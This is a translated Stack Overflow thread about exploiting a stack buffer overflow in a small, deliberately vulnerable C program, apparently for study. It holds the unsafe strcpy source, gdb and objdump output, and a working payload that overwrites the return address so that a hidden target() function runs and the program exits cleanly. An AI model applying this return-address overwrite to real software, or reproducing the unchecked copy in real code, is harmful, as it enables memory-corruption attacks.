利用缓冲区溢出漏洞

12

为了我的研究,我尝试创建一个有效载荷,以便它溢出缓冲区并调用名为"target"的“秘密”函数。

这是我在i686上进行测试时使用的代码。

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

任务 1: 创建一个有效载荷以使 target() 函数被调用。 只需将 EIP 替换为 target 函数的地址即可轻松完成该任务。

缓冲区的样子如下:

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

我使用的有效载荷是:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

这段代码可以运行,但是最后会停止并出现分段错误。

任务2: 修改有效载荷以避免分段错误。

这就是我被卡住的地方。显然,它会导致分段错误,因为我们没有使用call指令调用目标函数,所以没有有效的返回地址。

我尝试将返回地址添加到堆栈上,但那并没有帮助。

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
也许有人能帮我解决这个问题。可能我还需要添加主函数的已保存EBP? 我附上程序的objdump。
0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop

请添加一个注释,说明我们正在谈论哪种架构。我假设是x86? - Daniel Jour
啊,抱歉是的,它是i686。 - Chris
这很棘手...我试图保持ebp的完整性,以避免破坏堆栈,但目前无法弄清如何访问由main推送的ebp,使调用它的初始化代码不会导致段错误。 - Daniel Jour
如果你知道:1)目标函数的地址 2)要跳转到的返回地址 3)buffer变量的地址 4)栈是可执行的 那么 你可以使用一个可执行的载荷。例如这个完全未经测试)。 - Margaret Bloom
嗨,玛格丽特。我没能执行它。@丹尼尔,据我所知,顺序应该是返回地址(在主函数中)| 功能目标的地址 | 主函数保存的 EBP。但无论我尝试什么,我都无法把这个结构放在正确的位置上。 - Chris
1个回答

3
您需要足够的数据来填充存储“buffer”的堆栈保留内存,然后再用更多数据覆盖堆栈帧指针,接着将返回地址覆盖为target()的地址,然后再使用target()内的一个地址,但不是在函数的最开始位置 - 进入该地址以避免旧堆栈帧指针被推到堆栈上。这将导致您运行target()而不是从vulnerable()中正确返回,然后再次运行target(),因此您从target()返回到main()并正常退出而不会发生分段错误。

当我们第一次进入vulnerable()并即将将数据放入“buffer”变量时,堆栈的状态如下:

-----------
|  24-bytes of local storage - 'buffer' lives here 
-----------
|  old stack frame pointer (from main) <-- EBP points here
-----------
|  old EIP (address in main)
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
|  ... more stack here ...

从'buffer'的地址开始,我们需要填入24字节的垃圾数据来跳过存储在堆栈上的本地存储器,然后再填入4个字节来跳过存储在堆栈上的旧堆栈帧指针,此时我们到达了存储旧EIP的位置,那是CPU盲目遵循的指令指针。我们喜欢他,他将帮助我们粉碎这个程序。我们覆盖堆栈中原EIP的值,该值当前指向main()中的一个地址,该地址可通过gdb disassemble命令找到target()的起始地址:

(gdb) disas target
Dump of assembler code for function target:
   0x08048424 <+0>:     push   %ebp
   0x08048425 <+1>:     mov    %esp,%ebp
   0x08048427 <+3>:     sub    $0x18,%esp
   0x0804842a <+6>:     movl   $0x8048554,(%esp)
   0x08048431 <+13>:    call   0x8048354 <puts@plt>
   0x08048436 <+18>:    leave
   0x08048437 <+19>:    ret
End of assembler dump.

目标(target())函数的地址为0x08048424。由于(至少在我的系统上)系统是小端序,因此我们首先输入那些最低位先的值:x24,x84,x04和x08。
但这给我们留下了一个问题,因为当vulnerable()函数返回时,它会将我们放在栈中的所有垃圾弹出栈,我们只剩下处理目标(target())函数的初始栈。
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
| ... more stack here ...

所以,当target()想要返回时,它将无法在其堆栈顶部找到预期的返回地址,因此会导致段错误。
因此,在我们开始处理target()之前,我们希望强制将一个新的返回值推入堆栈顶部。但是选择什么值呢?我们不想推入EBP,因为它包含垃圾。还记得吗?当我们覆盖'buffer'时,我们把垃圾塞到了它里面。所以,代替地,把目标(target())指令推到

push %ebp

(在这种情况下是0x08048425地址)。

这意味着当target()第一次准备返回时,堆栈将如下所示:
-----------
|  address of mov %esp, %ebp instruction in target()
-----------
|  top of stack for main
-----------
|  ... more stack here ...

因此,第一次从target()返回时,EIP现在将指向target()中的第二条指令,这意味着我们第二次处理target()时,它具有与main()处理时相同的堆栈。堆栈的顶部是main()的相同堆栈顶部。现在堆栈看起来像:

-----------
|  top of stack for main
-----------
|  ... more stack here ...

因此,当target()第二次返回时,它有一个良好的堆栈可供返回,因为它使用了与main()相同的堆栈,因此程序正常退出。

所以,总结一下,这是28个字节,后面跟着target()中第一条指令的地址,再跟着target()中第二条指令的地址。

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接